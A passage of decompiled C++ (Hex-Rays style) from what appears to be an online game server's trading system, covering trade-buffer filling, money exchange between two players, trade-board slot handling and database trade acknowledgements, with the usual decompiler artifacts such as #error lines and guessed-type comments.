int v11; // edx@1 int v12; // esi@4 unsigned __int64 v13; // ST10_8@4 CCharacterTitleZone *v14; // eax@4 unsigned int v15; // ST18_4@4 unsigned __int64 v16; // ST10_8@4 CCharacterTitleZone *v17; // eax@4 __int64 v18; // qax@4 int v19; // ecx@4 __int64 v20; // qax@5 int v21; // eax@9 unsigned __int64 v22; // ST10_8@9 CCharacterTitleZone *v23; // eax@9 unsigned int v24; // ST18_4@9 unsigned __int64 v25; // ST10_8@9 CCharacterTitleZone *v26; // eax@9 __int64 v27; // qax@9 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_FillCen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_FillCen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = *(_DWORD *)(a4 + 18); v9 = *(_DWORD *)((char *)v7 + 22); v10 = *(_DWORD *)(a4 + 22); v11 = *(_DWORD *)((char *)v7 + 18); if ( v9 < v10 || v9 <= v10 && v11 <= v8 ) { if ( v10 < v9 || v10 <= v9 && v8 <= v11 ) { *(_DWORD *)(itemtrade + 17) = 0; *(_DWORD *)(itemtrade + 21) = 0; *(_DWORD *)(itemtrade + 25) = 0; *(_DWORD *)(itemtrade + 29) = 0; *(_DWORD *)(itemtrade + 33) = 0; *(_DWORD *)(itemtrade + 37) = 0; goto LABEL_11; } v12 = itemtrade; *(_DWORD *)(itemtrade + 21) = (__PAIR__(v10, v8) - __PAIR__(v9, v11)) >> 32; v21 = *(_DWORD *)(itemtrade + 21); *(_DWORD *)(itemtrade + 17) = v8 - v11; HIDWORD(v22) = v21; LODWORD(v22) = *(_DWORD *)(itemtrade + 17); *(_BYTE *)(itemtrade + 16) = 66; (*(void (__stdcall **)(_DWORD))(**(_DWORD **)(A + 14) + 56))(*(_WORD *)(playerA + 22)); (*(void (__stdcall **)(_DWORD, _DWORD, _DWORD, signed int))(**(_DWORD **)(playerB + 14) + 56))( ::v16, *(_DWORD *)(v12 + 17), *(_DWORD *)(v12 + 21), -1); v23 = (CCharacterTitleZone *)(*(int (__stdcall **)(_DWORD, _DWORD, _DWORD))(**(_DWORD **)A + 1036))( *(_DWORD *)(v12 + 17), *(_DWORD *)(v12 + 21), *(_DWORD *)(playerB + 6)); CCharacterTitleZone::CT_MoneyBeg(v23, v22, 1u); v24 = *(_DWORD *)(A + 6); v25 = *(_QWORD *)(itemtrade + 17); v26 = (CCharacterTitleZone *)(*(int (**)(void))(**(_DWORD **)playerB + 1036))(); CCharacterTitleZone::CT_MoneyGive(v26, v25, v24); LODWORD(v27) = (*(int (**)(void))(**(_DWORD **)playerB + 1056))(); *(_QWORD *)(v12 + 25) = v27 - *(_QWORD *)(v12 + 17); v19 = *(_DWORD *)A; } else { v12 = itemtrade; *(_DWORD *)(itemtrade + 21) = (__PAIR__(v9, v11) - __PAIR__(v10, v8)) >> 32; HIDWORD(v13) = (__PAIR__(v9, v11) - __PAIR__(v10, v8)) >> 32; *(_DWORD *)(itemtrade + 17) = v11 - v8; LODWORD(v13) = *(_DWORD *)(itemtrade + 17); *(_BYTE *)(itemtrade + 16) = 65; (*(void (__stdcall **)(_DWORD))(**(_DWORD **)(A + 14) + 56))(*(_WORD *)(playerA + 22)); (*(void (__stdcall **)(_DWORD, _DWORD, _DWORD, signed int))(**(_DWORD **)(playerB + 14) + 56))( ::v16, *(_DWORD *)(v12 + 17), *(_DWORD *)(v12 + 21), 1); v14 = (CCharacterTitleZone *)(*(int (__stdcall **)(_DWORD, _DWORD, _DWORD))(**(_DWORD **)A + 1036))( *(_DWORD *)(v12 + 17), *(_DWORD *)(v12 + 21), *(_DWORD *)(playerB + 6)); CCharacterTitleZone::CT_MoneyGive(v14, v13, 0xFFFFFFFFu); v15 = *(_DWORD *)(A + 6); v16 = *(_QWORD *)(itemtrade + 17); v17 = (CCharacterTitleZone *)(*(int (**)(void))(**(_DWORD **)playerB + 1036))(); CCharacterTitleZone::CT_MoneyBeg(v17, v16, v15); LODWORD(v18) = (*(int (**)(void))(**(_DWORD **)A + 1056))(); *(_QWORD *)(v12 + 25) = v18 - *(_QWORD *)(v12 + 17); v19 = *(_DWORD *)playerB; } LODWORD(v20) = (*(int (**)(void))(*(_DWORD *)v19 + 1056))(); *(_QWORD *)(v12 + 33) = *(_QWORD *)(v12 + 17) + v20; LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_FillCen"); } //----- (00527AB0) -------------------------------------------------------- char __thiscall TradeBoard::tb_Get(void *this, int idx) { void *v2; // esi@1 char v3; // bl@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Get"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Get"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)idx < 12 ) v3 = *((_BYTE *)v2 + *(_DWORD *)idx + 6); else v3 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Get"); return v3; } //----- (00527B20) -------------------------------------------------------- char __thiscall TradeBoard::tb_Next(void *this, int idx) { void *v2; // esi@1 int v3; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Next"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Next"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)idx < 12 ) { v3 = *(_DWORD *)idx + 1; *(_DWORD *)idx = v3; if ( *((_BYTE *)v2 + v3 + 6) != -1 ) { LABEL_5: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Next"); return 1; } while ( 1 ) { ++v3; *(_DWORD *)idx = v3; if ( v3 >= 12 ) break; if ( *((_BYTE *)v2 + v3 + 6) != -1 ) goto LABEL_5; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Next"); return 0; } //----- (00527C00) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { void *v3; // esi@1 int v4; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, netcmd[1].protocol); if ( v3 && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 836))(v3) == *(_DWORD *)&netcmd[2].protocol ) { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v4 + 32))(v4, netcmd[4].protocol); ShineObjectClass::ShineObject::so_CloseTradeMenu(v3); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 776))(v3, 19, 35, netcmd[5].protocol); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK"); } //----- (00527CF0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { void *v3; // esi@1 int v4; // eax@3 int v5; // ST04_4@4 DebugLogging *v6; // eax@4 DebugLogging *v7; // eax@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, netcmd[1].protocol); if ( v3 && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 836))(v3) == *(_DWORD *)&netcmd[2].protocol ) { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); if ( !(unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 24))( v4, v3, netcmd[4].protocol, 0) ) { v5 = netcmd[4].protocol; v6 = DebugLogging::operator<<(&LockIndexLog, "GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK : "); v7 = DebugLogging::operator<<(v6, v5); DebugLogging::operator<<(v7, &deb_LF); } ShineObjectClass::ShineObject::so_CloseTradeMenu(v3); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK"); } //----- (00527E00) -------------------------------------------------------- char __thiscall TradeBoard::tb_Home(void *this, int idx) { void *v2; // esi@1 char v3; // al@1 char v4; // bl@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Home"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Home"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)idx = -1; v3 = TradeBoard::tb_Next(v2, idx); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Home"); return v4; } //----- (00527EB0) -------------------------------------------------------- char __cdecl TradeBoard::tb_FillTradeBuffer(int playerA, int playerB, int cellA, int cellB) { int v4; // ebp@1 int v5; // edx@1 int v6; // eax@1 ItemBag *v7; // ecx@1 int v8; // eax@2 int v9; // ebx@4 int v10; // edx@4 int v11; // eax@4 ItemBag *v12; // ecx@4 int v13; // eax@5 int v14; // edx@7 InventoryLocking::InventoryCellLock *v15; // eax@7 int v16; // ecx@7 InventoryLocking::InventoryCellLock *v17; // eax@7 int v18; // esi@7 int v19; // edi@8 signed int v20; // eax@8 int v21; // edi@11 signed int v22; // eax@11 int v23; // ecx@14 int v24; // edi@15 int v25; // ecx@18 int v26; // ecx@18 __int16 v27; // ax@19 int v28; // eax@21 int v29; // ecx@21 int v30; // ecx@21 int v31; // eax@25 int v32; // ecx@25 __int16 v33; // ax@26 int v34; // ecx@28 int v35; // ecx@28 int v36; // edx@28 int v37; // edi@30 int v38; // edx@32 int v39; // ecx@32 int v40; // eax@32 int v41; // ecx@32 signed __int16 v42; // ax@33 char v44; // [sp+38h] [bp-5Ah]@7 char v45; // [sp+39h] [bp-59h]@7 ITEM_INVEN invA; // [sp+3Ah] [bp-58h]@7 ITEM_INVEN invB; // [sp+3Eh] [bp-54h]@7 int boardidxA; // [sp+42h] [bp-50h]@7 int boardidxB; // [sp+46h] [bp-4Ch]@7 FunctionEntarance _; // [sp+4Ah] [bp-48h]@1 InventoryLocking::UnlockedInventoryIterator ibieB; // [sp+4Eh] [bp-44h]@7 InventoryLocking::UnlockedInventoryIterator ibieA; // [sp+5Ah] [bp-38h]@7 ItemBoxIterEmpty ibieBtmp; // [sp+66h] [bp-2Ch]@4 ItemBoxIterEmpty ibieAtmp; // [sp+76h] [bp-1Ch]@1 int v55; // [sp+8Eh] [bp-4h]@1 unsigned __int8 playerAa; // [sp+96h] [bp+4h]@12 int playerAb; // [sp+96h] [bp+4h]@24 unsigned __int8 playerBa; // [sp+9Ah] [bp+8h]@9 int playerBb; // [sp+9Ah] [bp+8h]@29 int cellAa; // [sp+9Eh] [bp+Ch]@17 _.fe_FunctionCode = "TradeBoard::tb_FillTradeBuffer"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_FillTradeBuffer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_FillTradeBuffer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = playerA; v5 = **(_DWORD **)playerA; v55 = 0; v6 = (*(int (**)(void))(v5 + 1156))(); v7 = *(ItemBag **)(playerA + 10); ibieAtmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibieAtmp.baseclass_0.ibi_itembag = v7; if ( v6 ) v8 = ((int (__stdcall *)(int))v7->vfptr->ib_BagSizeInput)(v6); else v8 = ((int (*)(void))v7->vfptr->ib_BagSizeOutput)(); ibieAtmp.baseclass_0.ibi_Limit = v8; ibieAtmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterEmpty::_vftable_; v9 = playerB; v10 = **(_DWORD **)playerB; LOBYTE(v55) = 1; v11 = (*(int (**)(void))(v10 + 1156))(); v12 = *(ItemBag **)(playerB + 10); ibieBtmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibieBtmp.baseclass_0.ibi_itembag = v12; if ( v11 ) v13 = ((int (__stdcall *)(int))v12->vfptr->ib_BagSizeInput)(v11); else v13 = ((int (*)(void))v12->vfptr->ib_BagSizeOutput)(); ibieBtmp.baseclass_0.ibi_Limit = v13; ibieBtmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterEmpty::_vftable_; v14 = **(_DWORD **)playerA; LOBYTE(v55) = 2; v15 = (InventoryLocking::InventoryCellLock *)(*(int (**)(void))(v14 + 1916))(); ibieA.uii_Iterator = (ItemBoxIterator *)&ibieAtmp; v16 = *(_DWORD *)playerB; ibieA.uii_LockList = v15; ibieA.uii_InvenType = 9; v17 = (InventoryLocking::InventoryCellLock *)(*(int (**)(void))(*(_DWORD *)v16 + 1916))(); ibieB.uii_Iterator = (ItemBoxIterator *)&ibieBtmp; ibieB.uii_LockList = v17; ibieB.uii_InvenType = 9; v45 = InventoryLocking::UnlockedInventoryIterator::uii_Home(&ibieA); v44 = InventoryLocking::UnlockedInventoryIterator::uii_Home(&ibieB); TradeBoard::tb_Home(*(void **)(playerA + 18), (int)&boardidxA); TradeBoard::tb_Home(*(void **)(playerB + 18), (int)&boardidxB); v18 = cellA; invB.Inven = invB.Inven & 0x3FF | 0x2400; invA.Inven = invA.Inven & 0x3FF | 0x2400; while ( 1 ) { v19 = *(_DWORD *)(v4 + 18); FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Get"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Get"; v20 = boardidxA; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; playerBa = v20 < 12 ? *(_BYTE *)(v19 + v20 + 6) : -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Get"); v21 = *(_DWORD *)(v9 + 18); FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Get"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Get"; v22 = boardidxB; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; playerAa = v22 < 12 ? *(_BYTE *)(v21 + v22 + 6) : -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Get"); invA.Inven ^= (invA.Inven ^ playerBa) & 0x3FF; v23 = *(_DWORD *)v4; invB.Inven ^= (invB.Inven ^ playerAa) & 0x3FF; if ( playerBa >= (*(int (**)(void))(*(_DWORD *)v23 + 1144))() ) break; v24 = (***(int (__stdcall ****)(_DWORD))(v4 + 10))(playerBa); if ( !(*(_WORD *)(v24 + 8) != -1) ) { AssertClass::ac_AssertFail(&shineassert, "TradeBoard::tb_FillTradeBuffer : Trade empty", 0); *(_WORD *)cellB = 2117; goto LABEL_42; } if ( playerAa < (*(int (**)(void))(**(_DWORD **)v9 + 1144))() ) { cellAa = (***(int (__stdcall ****)(_DWORD))(v9 + 10))(playerAa); if ( *(_WORD *)(cellAa + 8) != -1 ) { *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 54) = playerBa; v25 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v25 + v18 + 42) = *(_DWORD *)v24; *(_DWORD *)(v25 + v18 + 46) = *(_DWORD *)(v24 + 4); *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 50) = *(_WORD *)(v24 + 8); v26 = *(_DWORD *)(v24 + 112); if ( v26 ) v27 = (*(int (__stdcall **)(int))(*(_DWORD *)v26 + 24))(v24 + 8); else v27 = 0; *(_WORD *)(26 * (*(_BYTE *)(v18 + 41) + 2) + v18) = v27; (*(void (__stdcall **)(_DWORD, int, int, ITEM_INVEN *, ITEM_INVEN *))(**(_DWORD **)(v4 + 14) + 48))( *(_WORD *)(v4 + 22), v24, cellAa, &invA, &invA); v28 = cellAa; *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 67) = playerAa; v29 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v29 + v18 + 55) = *(_DWORD *)cellAa; *(_DWORD *)(v29 + v18 + 59) = *(_DWORD *)(cellAa + 4); *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 63) = *(_WORD *)(cellAa + 8); v30 = *(_DWORD *)(cellAa + 112); if ( v30 ) { LOWORD(v30) = (*(int (__stdcall **)(int))(*(_DWORD *)v30 + 24))(cellAa + 8); v28 = cellAa; } *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 65) = v30; (*(void (__thiscall **)(_DWORD, _DWORD, int, int, ITEM_INVEN *, ITEM_INVEN *))(**(_DWORD **)(v9 + 14) + 48))( *(_DWORD *)(v9 + 14), *(_WORD *)(v9 + 22), v28, v24, &invB, &invB); goto LABEL_36; } AssertClass::ac_AssertFail(&shineassert, "TradeBoard::tb_FillTradeBuffer : Trade empty", 0); *(_WORD *)cellB = 2117; LABEL_42: --funcallanalizer.fca_stackpoint; ibieBtmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibieAtmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v55 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_FillTradeBuffer"); return 0; } playerAb = (**(int (__stdcall ***)(_DWORD))ibieB.uii_Iterator->ibi_itembag)(ibieB.uii_Iterator->ibi_finger); if ( !v44 ) { *(_WORD *)cellB = 2121; goto LABEL_42; } *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 54) = playerBa; v31 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v31 + v18 + 42) = *(_DWORD *)v24; *(_DWORD *)(v31 + v18 + 46) = *(_DWORD *)(v24 + 4); *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 50) = *(_WORD *)(v24 + 8); v32 = *(_DWORD *)(v24 + 112); if ( v32 ) v33 = (*(int (__stdcall **)(int))(*(_DWORD *)v32 + 24))(v24 + 8); else v33 = 0; *(_WORD *)(26 * (*(_BYTE *)(v18 + 41) + 2) + v18) = v33; (*(void (__stdcall **)(_DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(**(_DWORD **)(v4 + 14) + 40))( *(_WORD *)(v4 + 22), v24, &invA, &invA); *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 67) = LOBYTE(ibieB.uii_Iterator->ibi_finger); v34 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v34 + v18 + 55) = -1; *(_DWORD *)(v34 + v18 + 59) = -1; *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 63) = -1; *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 65) = 0; v35 = *(_DWORD *)(v9 + 14); v36 = *(_WORD *)(v9 + 22); invB.Inven ^= (invB.Inven ^ LOWORD(ibieB.uii_Iterator->ibi_finger)) & 0x3FF; (*(void (__stdcall **)(int, int, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v35 + 48))( v36, playerAb, v24, &invB, &invB); v44 = InventoryLocking::UnlockedInventoryIterator::uii_Next(&ibieB); LABEL_36: ++*(_BYTE *)(v18 + 41); TradeBoard::tb_Next(*(void **)(v4 + 18), (int)&boardidxA); TradeBoard::tb_Next(*(void **)(v9 + 18), (int)&boardidxB); } playerBb = (**(int (__stdcall ***)(_DWORD))ibieA.uii_Iterator->ibi_itembag)(ibieA.uii_Iterator->ibi_finger); if ( playerAa < (*(int (**)(void))(**(_DWORD **)v9 + 1144))() ) { v37 = (***(int (__stdcall ****)(_DWORD))(v9 + 10))(playerAa); if ( !(*(_WORD *)(v37 + 8) != -1) ) { AssertClass::ac_AssertFail(&shineassert, "TradeBoard::tb_FillTradeBuffer : Trade empty", 0); goto LABEL_42; } if ( !v45 ) { *(_WORD *)cellB = 2121; goto LABEL_42; } *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 54) = LOBYTE(ibieA.uii_Iterator->ibi_finger); v38 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v38 + v18 + 42) = -1; *(_DWORD *)(v38 + v18 + 46) = -1; *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 50) = -1; *(_WORD *)(26 * (*(_BYTE *)(v18 + 41) + 2) + v18) = 0; v39 = *(_DWORD *)(v4 + 14); invA.Inven ^= (invA.Inven ^ LOWORD(ibieA.uii_Iterator->ibi_finger)) & 0x3FF; (*(void (__stdcall **)(_DWORD, int, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v39 + 48))( *(_WORD *)(v4 + 22), playerBb, v37, &invA, &invA); *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 67) = playerAa; v40 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v40 + v18 + 55) = *(_DWORD *)v37; *(_DWORD *)(v40 + v18 + 59) = *(_DWORD *)(v37 + 4); *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 63) = *(_WORD *)(v37 + 8); v41 = *(_DWORD *)(v37 + 112); if ( v41 ) v42 = (*(int (__stdcall **)(int))(*(_DWORD *)v41 + 24))(v37 + 8); else v42 = 1; *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 65) = v42; (*(void (__stdcall **)(_DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(**(_DWORD **)(v9 + 14) + 40))( *(_WORD *)(v9 + 22), v37, &invB, &invB); v45 = InventoryLocking::UnlockedInventoryIterator::uii_Next(&ibieA); goto LABEL_36; } --funcallanalizer.fca_stackpoint; ibieBtmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibieAtmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v55 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_FillTradeBuffer"); return 1; } // 527EB0: inconsistent function type and number of purged bytes // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E8: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); //----- (00528630) -------------------------------------------------------- #error "528630: undefined or illegal type '#325' (funcsize=319)" //----- (00528A80) -------------------------------------------------------- signed int __thiscall TradeBoard::tb_OffBoard(void *this, signed int boardslot) { void *v2; // edi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_OffBoard"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_OffBoard"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( boardslot >= 12 ) goto LABEL_4; if ( *((_BYTE *)v2 + boardslot + 6) == -1 ) { AssertClass::ac_AssertFail(&shineassert, "TradeBoard::tb_OffBoard : Down empty", 0); LABEL_4: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_OffBoard"); return -1; } *((_BYTE *)v2 + boardslot + 6) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_OffBoard"); return boardslot; } //----- (00528B70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edi@5 int v6; // ebx@5 int v7; // edx@14 int v8; // eax@14 int v9; // ebp@14 char v10; // al@14 char *v11; // edi@16 char v12; // al@16 int v13; // eax@17 char v14; // al@18 int v15; // eax@19 char *v16; // [sp+Ch] [bp-2Ch]@4 signed int v17; // [sp+Ch] [bp-2Ch]@6 int slot; // [sp+20h] [bp-18h]@14 FunctionEntarance _; // [sp+24h] [bp-14h]@1 int v20; // [sp+28h] [bp-10h]@14 int v21; // [sp+34h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; if ( !(_S3_46 & 1) ) { _S3_46 |= 1u; stru_124F2FF0.cmc_AllowMode = 126; atexit(_E4_85); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & stru_124F2FF0.cmc_AllowMode) ) { v16 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"; LABEL_13: --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v16); return; } v5 = *(_DWORD *)(v4 + 68275); v6 = v4 + 68275; if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ : Not activ", 0); v17 = 2114; LABEL_11: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 19, 18, v17); goto LABEL_12; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, *(_DWORD *)(v4 + 68275)) > 0xF4240 ) { ShineObjectClass::ShinePlayer::sp_tradebreak((void *)v4); LABEL_12: v16 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"; goto LABEL_13; } if ( *(_BYTE *)(v4 + 68279) ) { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ : Locked", *(_BYTE *)(v4 + 68279) == 0); v17 = 2115; goto LABEL_11; } v7 = *(_DWORD *)v4; slot = *(_BYTE *)(netcmd + 2); v8 = (*(int (__thiscall **)(int))(v7 + 1916))(v4); v9 = *(_DWORD *)v8; v20 = v8; v10 = TradeBoard::tb_Get((void *)(v4 + 68275), (int)&slot); (*(void (__thiscall **)(int, signed int, _DWORD))(v9 + 28))(v20, 9, (unsigned __int8)v10); slot = TradeBoard::tb_OffBoard((void *)(v4 + 68275), *(_BYTE *)(netcmd + 2)); if ( slot == -1 ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 19, 18, 2119); } else { (*(void (__thiscall **)(int, int))(*(_DWORD *)v5 + 1912))(v5, v4); v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 19475; v11[2] = slot; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 3); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ : Packet Too Long", 3) ) { v13 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } *(_WORD *)v11 = 19476; v11[2] = slot; v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 3); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ : Packet Too Long", 3) ) { v15 = (*(int (**)(void))(**(_DWORD **)v6 + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, *(_DWORD *)v6, &gpp); } } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00528DF0) -------------------------------------------------------- signed int __thiscall TradeBoard::tb_OnBoard(void *this, char invenslot) { void *v2; // edi@1 signed int v3; // esi@1 signed int result; // eax@16 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_OnBoard"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = 